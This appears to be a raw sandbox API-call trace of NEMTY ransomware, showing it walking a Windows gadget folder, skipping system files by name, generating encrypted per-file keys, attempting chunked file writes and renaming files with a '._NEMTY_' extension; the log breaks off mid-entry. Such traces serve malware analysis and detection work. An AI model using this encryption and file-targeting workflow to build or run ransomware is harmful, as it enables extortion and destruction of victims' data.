pszString="L0cshqj+KjFjxhjgWiokrf+Ws5oCJfj4zo7cdWdJEnjSsfwkz5dF3GPZyJsrdePO\r\nLeREMG2puYalqEDpNE7bfqUMfq3WebsEQ2xW/z8T2FhDQWR8AilNdzI0F2hho2Ig\r\nR3YWUf4Xmm3vj5wu44i+CWpGJxjEBD7xKMDjLqBI+6AztCPgWCWU4H13J2QyHgW/\r\ntgs/UZbsVSIgSHNZhk+EIA4jFzZtwBRUG/a1PkHQozWCeNu+FaCALzeAsUwGiwPs\r\ntcJQMn470bMmTbtwAGq4hgeke6SQVkBzgR9/Ax4XZ24zEaFOS8+je5rFVzTpWP5y\r\nixfGn6GtqGk+KQ9Oqjczdg==\r\n", pcchString=0x653e91c) returned 1 [0128.464] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0128.464] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0128.464] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0128.464] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0128.464] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340260 [0128.464] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0128.464] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\delete_down.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\images\\delete_down.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0128.465] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0128.465] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0128.465] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.465] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0128.475] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.475] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0128.475] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.475] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0128.484] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.484] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0128.484] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.484] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0128.493] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.493] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0128.494] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.494] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0128.503] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.503] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0128.503] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.503] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0128.513] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.513] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0128.513] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.513] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0128.522] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.522] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0128.522] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.522] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0128.531] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.532] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0128.532] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.532] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0128.541] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.541] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0128.541] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.541] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0128.550] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.550] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0128.550] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.550] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0128.560] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.560] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0128.560] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.560] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0128.566] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.566] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0128.566] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.566] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0128.572] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.572] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0128.572] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.572] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340260, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0128.572] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0128.572] CloseHandle (hObject=0xffffffff) returned 0 [0128.572] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63403d0 [0128.573] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0128.573] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0128.573] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0128.573] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0128.573] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0128.573] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340478 [0128.573] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6343fe8 [0128.573] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340478 | out: hHeap=0x4f90000) returned 1 [0128.573] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0128.573] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\delete_down.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\images\\delete_down.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\delete_down.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\images\\delete_down.png._nemty_kgobjgd_")) returned 0 [0128.573] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0128.573] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403d0 | out: hHeap=0x4f90000) returned 1 [0128.573] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0128.573] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0128.573] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0128.573] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0128.573] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0128.573] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0128.573] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8634c51d, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8634c51d, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x29a33d17, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2b8, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="delete_over.png", cAlternateFileName="")) returned 1 [0128.573] lstrcmpiW (lpString1="delete_over.png", lpString2=".") returned 1 [0128.573] lstrcmpiW (lpString1="delete_over.png", lpString2="..") returned 1 [0128.573] lstrcmpiW (lpString1="delete_over.png", lpString2="...") returned 1 [0128.574] lstrcmpiW (lpString1="delete_over.png", lpString2="windows") returned -1 [0128.574] lstrcmpiW (lpString1="delete_over.png", lpString2="$RECYCLE.BIN") returned 1 [0128.574] lstrcmpiW (lpString1="delete_over.png", lpString2="rsa") returned -1 [0128.574] lstrcmpiW (lpString1="delete_over.png", lpString2="NTDETECT.COM") returned -1 [0128.574] lstrcmpiW (lpString1="delete_over.png", lpString2="ntldr") returned -1 [0128.574] lstrcmpiW (lpString1="delete_over.png", lpString2="MSDOS.SYS") returned -1 [0128.574] lstrcmpiW (lpString1="delete_over.png", lpString2="IO.SYS") returned -1 [0128.574] lstrcmpiW (lpString1="delete_over.png", lpString2="boot.ini") returned 1 [0128.574] lstrcmpiW (lpString1="delete_over.png", lpString2="boot.ini") returned 1 [0128.574] lstrcmpiW (lpString1="delete_over.png", lpString2="AUTOEXEC.BAT") returned 1 [0128.574] lstrcmpiW (lpString1="delete_over.png", lpString2="ntuser.dat") returned -1 [0128.574] lstrcmpiW (lpString1="delete_over.png", lpString2="desktop.ini") returned -1 [0128.574] lstrcmpiW (lpString1="delete_over.png", lpString2="CONFIG.SYS") returned 1 [0128.574] lstrcmpiW (lpString1="delete_over.png", lpString2="RECYCLER") returned -1 [0128.574] lstrcmpiW (lpString1="delete_over.png", lpString2="BOOTSECT.BAK") returned 1 [0128.574] lstrcmpiW (lpString1="delete_over.png", lpString2="bootmgr") returned 1 [0128.574] lstrcmpiW (lpString1="delete_over.png", lpString2="programdata") returned -1 [0128.574] lstrcmpiW (lpString1="delete_over.png", lpString2="appdata") returned 1 [0128.574] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0128.574] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="delete_over.png", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0128.574] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="delete_over.png", cchWideChar=15, lpMultiByteStr=0x653ebd0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="delete_over.png", lpUsedDefaultChar=0x0) returned 15 [0128.574] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0128.574] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="delete_over.png", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0128.574] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="delete_over.png", cchWideChar=15, lpMultiByteStr=0x653ebd0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="delete_over.png", lpUsedDefaultChar=0x0) returned 15 [0128.574] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0128.574] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0128.574] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0128.574] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="delete_over.png", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0128.574] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="delete_over.png", cchWideChar=15, lpMultiByteStr=0x653ec20, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="delete_over.png", lpUsedDefaultChar=0x0) returned 15 [0128.574] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0128.574] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0128.574] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="delete_over.png", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0128.574] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="delete_over.png", cchWideChar=15, lpMultiByteStr=0x653ec58, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="delete_over.png", lpUsedDefaultChar=0x0) returned 15 [0128.574] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0128.574] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63401b8 [0128.575] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340110 | out: hHeap=0x4f90000) returned 1 [0128.575] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340110 [0128.575] Sleep (dwMilliseconds=0x5) [0128.588] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x4aaad0, dwHighDateTime=0x1d561e8)) [0128.588] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x4aaad0, dwHighDateTime=0x1d561e8)) [0128.588] GetLastError () returned 0x5 [0128.589] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0128.589] GetLastError () returned 0x5 [0128.589] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0128.589] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0128.589] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0128.589] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0128.589] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0128.589] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0128.589] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340260 [0128.589] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340260, pcchString=0x653e91c | out: pszString="LXx5GsMqNiMo5PWM/GsKQNcHqCZeHOk+lfLX3vhijZKOf+NZKWQUnFokSCW5dtjd\r\nmC+zapULm7aq5bkOPX+xN99Rxl1XEAAxWH3rmyU214wYOpfHWW3rytaCXyapVmOR\r\nQ1+QUnpjhk+8KtmzpzRUegv3wf1BElpAiD2cWC6Kt4TYkmzXyX4sJWz4VYmsoDtg\r\nJ1qM2tI93xpqclqcTwF0V1PQtAMJpmTFcvFgHJSu+H/rGmZca8stVN80m2Q89Zbo\r\nmVPnp+bDB8GrrY46vy3v4MapuEwbwDpdPE28VeR056shCJzDzt9G6MCqAmA+7bkb\r\njiqU9+3KG4OZEpoRRPgIDw==\r\n", pcchString=0x653e91c) returned 1 [0128.589] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0128.589] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0128.589] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0128.589] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0128.589] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340260 [0128.589] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0128.589] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\delete_over.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\images\\delete_over.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0128.589] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0128.589] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0128.589] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.589] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0128.599] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.599] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0128.599] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.599] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0128.608] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.608] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0128.608] SetFilePointer (in: hFile=0xffffffff, 